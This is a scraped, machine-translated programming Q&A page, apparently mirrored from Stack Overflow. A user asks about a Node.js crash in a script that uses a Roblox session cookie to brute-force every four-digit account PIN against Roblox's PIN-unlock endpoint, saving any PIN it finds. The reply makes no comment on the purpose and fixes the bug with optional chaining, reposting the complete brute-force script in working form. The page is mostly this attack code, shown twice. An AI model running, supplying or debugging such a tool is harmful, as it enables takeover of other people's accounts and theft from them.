简体   繁体   English

Node.js 出现错误无法读取未定义的属性“数据”

[英]Node.js Got error cannot read property 'data' of undefined

The problem is when I run my Node.js like 5-10 minutes the loop stop and my program auto close I try to use nodemon to get error and I got this error This is my error picture问题是当我运行我的 Node.js 5-10 分钟时,循环停止并且我的程序自动关闭我尝试使用nodemon来获取错误,我得到了这个错误这是我的错误图片

I'm new at node.js and i got this error Cannot read property 'data' of undefined i try to fix it by my self, but I cannot fix it if you guy can show me a complete code it will help me alot because i didn't know alot of node.js我是 node.js 的新手,我收到此错误Cannot read property 'data' of undefined我尝试自己修复它,但如果你们能给我看一个完整的代码,我无法修复它,因为我没有不知道很多 node.js

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

This is happening because your are reading the property of something which is undefined.发生这种情况是因为您正在读取未定义内容的属性。 And in your case it is data property in error(in catch block mostly).You can use optional chaining operator to avoid it.在您的情况下,它是错误的data属性(主要在 catch 块中)。您可以使用optional chaining operator来避免它。 I have updated the code.我已经更新了代码。

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response?.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response?.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response?.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response?.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

For more details, you can check here .有关更多详细信息,您可以在此处查看

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM